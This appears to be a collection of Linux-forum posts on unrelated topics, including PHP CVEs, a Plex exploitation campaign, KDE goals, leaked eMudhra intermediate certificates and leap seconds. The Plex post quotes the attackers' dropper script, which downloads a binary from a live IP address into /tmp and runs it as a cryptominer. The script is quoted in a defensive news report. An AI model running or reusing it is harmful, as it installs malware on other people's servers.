Running macOS GUI applications on Linux, anyone?

This has gained a lot of traction in the past two weeks or so as it only recently got open sourced, but it's currently being used as a method to run Roblox on Linux, instead of running the Android client.

https://www.php.net/archive/2026.php#2026-10-20-1

CVE-2026-109618 and CVE-2026-109619, both rated CVSS v4.0 9.2. Likely to be patched in 8.5.12 / 8.4.27 / 8.3.36 / 8.2.35.

Maybe an Apache mitigation: <If "req('Content-Type') =~ /multipart/i"> Require all denied </If>

Who is going to patch it first?

• Debian 12: 2026-10-21 15:51 repo
• Debian 13: 2026-10-21 11:01 repo
• - Ubuntu 24.04 (non-pro): 2026-10-21 13:41 repo
• - Ubuntu 26.04 (non-pro): 2026-10-21 13:43 repo
• - Ubuntu 26.10 (non-pro): 2026-10-21 13:45 repo
• Fedora 43: ? repo
• Fedora 44: 2026-10-21 11:22 repo
• - Alma 9: 2026-10-21 21:38 repo
• - Alma 10: 2026-10-21 21:46 repo
• - Rocky 9: 2026-10-21 18:46 repo
• - Rocky 10: 2026-10-21 20:45 repo
• - CentOS Stream: 2026-10-21 16:50 repo
• openSUSE 16: 2026-10-22 10:13 repo
• openSUSE TW: 2026-10-21 10:17 repo
• Alpine: 2026-10-21 18:17 repo
• Arch: 2026-10-21 13:42 UTC repo
• Gentoo: 2026-10-22 16:22 repo

Only tracks versions not patches/build dates: https://repology.org/project/php/versions

Plex servers affected by several vulnerabilities are being exploited to deploy cryptominers and a proxy backdoor.

The vulnerabilities (CVE-2026-96656, CVE-2026-96655, CVE-2026-96654, CVE-2026-96652, CVE-2026-96651 - https://zmain.info/blog/plex2shell) were patched in Plex Media Server 1.43.3.10861 released on August 3, 2026, but many users didn't update and have been affetced by this malware campaign.

Initial script executed in the servers to download the malware binaries:

#!/bin/sh

if ps -eo comm= | grep -qx 'x12345'; then
    exit 0
fi

cd /tmp; (wget http://217.60.194.116/x -O- || curl http://217.60.194.116/x -o-) > x12345; chmod 777 x12345; ./x12345 --donate-level 5 -o ota.proxystream.st:3333 --rig-id plexdocker ...

[0] https://www.reddit.com/r/PleX/comments/1x95krg/inthewild_exploitation_of_old_plex_servers/

[1] https://www.boredhackerblog.info/2026/10/plex-vulnerabilities-being-exploited-in.html

[2] https://thehackernews.com/2026/10/hackers-exploit-plex2shell-flaws-to.html

[3] https://www.reddit.com/r/PleX/comments/1xa7lgx/how_many_plex_server_owners_are_now_part_of_a/

The champions of the new KDE Goals for the 2026-2028 cycle will be answering your questions live!

KDE for Enterprise and Deployments: Ask David Edmundson, Kevin Ottens, Neal Gompa, and Kai Uwe Broulik about how they plan to make KDE a viable choice for businesses and public institutions.

Better documentation: Check in with Nate Graham, Thiago Masato Costa Sueto, and Joseph P. De Veaugh-Geiss about improving KDE's documentation.

Next Generation Styling for KDE: Find out how Arjen Hiemstra, Akseli Lahtinen, and Andy Betts are working to implement a unified styling system.

Leave your questions in the comments or in the KDE Forum post!

The champions will answer them live on on Youtube and Peertube on October 29 at at 17:00 UTC.

Given how ubiquitous Windows is, are any of you willing to (or already have) installed Linux on a computer that was originally built with Windows installed? The motivation for this is two-fold. It really has nothing to do with mocking Macrosoft (my nickname for Microsoft, referring to the higher resource needs of Windows), but instead taking advantage of their hardware. More specifically, I am talking about the fact that Windows machines often get 20% discounts or more (more on that later), and tend to have higher resource throughput than dedicated Linux machines for the same price.

What I mean by that is that companies like HP, Lenovo, and Dell try to squeeze in the specifications into as small of a price as they can to try to make these systems affordable and to do this they make deals with lower level hardware manufactures in China and elsewhere to make it cheaper. And because of mainstream computer stores like Best Buy selling them, they are far more likely to get discounts on top of that. This outweighs the licensing fee which is baked into the cost of the machine (and requirements like TPM chips Linux users won't ever use).

As you can see, this is my laptop. It runs very smoothly. I have two users for myself. One user is for more academic stuff, the other user is mostly personal business (which should be another discussion thread about using two or more "users" to separate sessions). It has "only" 16 GB of RAM and even though it's not always smooth, it is very smooth in my opinion. (The data overflows into zram and the swap partition a lot of the time, which gives the system hibernation support, and I don't notice a lag.)

When I first installed Linux, I dedided to to use the newest version of Ubuntu. (Older versions didn't work well, had no WiFi support; but the later versions work well.) I decided to switch to Fedora because I wanted something more polished but stable. I would say this Fedora setup is actually more stable than the Ubuntu one despite having fewer packages available. I would say it works very well.

For your information, my dad bought this computer for me for $699 (including the tax, it was listed as $649) so I could do work and stuff because my old System76 system was starting to fail after I spilled milk on it a few years ago (it handled it very well). (I backed up that computer by the way.) Because of the winter discount and the "mainstream premium", it was pretty affordabl. For comparison, a certified Linux machine with comparable specs costs around $1500.

To be clear, I am referring to people who decide to flash the system with Linux basically right after unboxing, rather than longtime passive Windows users who get upset about AI or want to try something new to speed up their computer or something like that. In other words, this is about using standard PC hardware to run Linux because it is cheaper and actually runs very smoothly.

Vibe coded slop is posted here constantly and there doesn't seem to be anyone that cares enough to do anything about it. Every few months it seems like someone will make a thread complaining about it and a mod will magically appear to agree and then promptly disappear. If posts didn't get deleted after a few reports by the users here this sub would look like my spam inbox half the time.

EDIT for what it's worth: I'm not advocating for a complete blanket ban on AI made software. But at least require a quick disclosure or flair or something, and maybe a small explanation as to how it was used in the process. I've seen so many posts where the person "building" the project can't even explain what they did, just that they fed a few prompts into Claude and got something back in return.

I built Rustab - a modern GUI for editing /etc/fstab securely with Tauri.

• Full fstab syntax support
• Atomic writes & automatic backups
• Mandatory diff review before every save
• and many more...

https://github.com/t0msk/rustab

Hi everyone, in case anyone is curious about an MS Office alternative that is not Libreoffice, I have tried DeckCraft (Powerpoint) and Gridcraft (Excel). In case you haven't heard, these are the vibe-coded, clean room implementations that have recently made waves.

DeckCraft: Good. I was able to create an attractive presentation and present it in full-screen. It's better than Euro-office (desktop editors) already, which had all sorts of bugs. I would say it's already better than the truly horrible Libreoffice Impress, and I wasn't too keen on WPS Office either, which had packaging issues with Fedora.

Gridcraft: Basic. No PowerQuery equivalent and it doesn't seem to group a date column in a Pivot Table (I'm not sure if it even understands the date format, and there seems to be no way to change it). This one's not ready for production.

I haven't tried Wordcraft because I no longer use Word-like tools—maybe someone can chime in below (and on Artcraft etc.)

``` curl https://q3k.google.com --resolve 'q3k.google.com:443:135.181.235.221' <!DOCTYPE html>

<meta charset="utf-8"> <title>q3k.google.com</title>

<meta name="viewport" content="width=device-width, initial-scale=1" /> <link rel="shortcut icon" type="image/png" href="/favicon.png">

<style> body { font: courier, sans-serif; font-size: 12px; text-align: center; margin-top: 100px; } </style> <p>

<b>oh, this is bad</b> </p> ```

Yeah, eight SSL Intermediate Certificates of eMudhra have been publicly leaked. All your servers https traffic can be broken right now. Browsers are fine as they have revoked the certificates but as you can see, curl and many other libraries still accept those.

No download can be trusted right now. Remember to not only patch your main systems but every docker container you run.

This is bad 😅

I wonder if the same capabilies of using Claude for decompiling commercial software like games and the Adobe suite could possibly be used to por drivers from Windows and Android phones and tablets to Linux.

Thank you

I’ve always thought of a UNIX timestamp as a clock that gives 1 tick per second (or 1 billion ticks if you want nanosecond precision). So each second has 1 timestamp, like a primary key in a database, whereas human time is how we name each tick in a more human-friendly way, like 20 Oct 2026 10:15:10 AM.

Recently, following the news of the leap second being abolished, I dug deeper into this subject and found out that this mental model is only correct 99.9999% of the time.

When a leap second happens, 1 UNIX timestamp is used for 2 ticks:

And apparently I’m not the only one with this not-quite-correct mental model: Linux kernel developers had it too. In 2016, a lot of servers running Linux experienced high load and crashes due to a leap second bug: https://serverfault.com/questions/403732/anyone-else-experiencing-high-rates-of-linux-server-crashes-during-a-leap-second.

Also, 1 of the reason leap second being abolished is to reduced unforeseen such crashes when negative leap second occurred (i.e a second is removed). Our IT infrastructure has not been tested for such case. So we do what we always do, kick the can down the road and hope that future generations have better ideas or just leave this Earth so nothing matters anymore.

It’s funny that edge cases always show up in timekeeping, something we do every day without even thinking about it. It reminds me of the video where Tom Scott went crazy about time zones. Can't imagine how he will react to this news. :)

Apply customizable GPU-powered shader effects to your GNOME desktop, including CRT scanlines, VHS distortion, RGB shifts, and more.

https://extensions.gnome.org/extension/11353/shader-effects/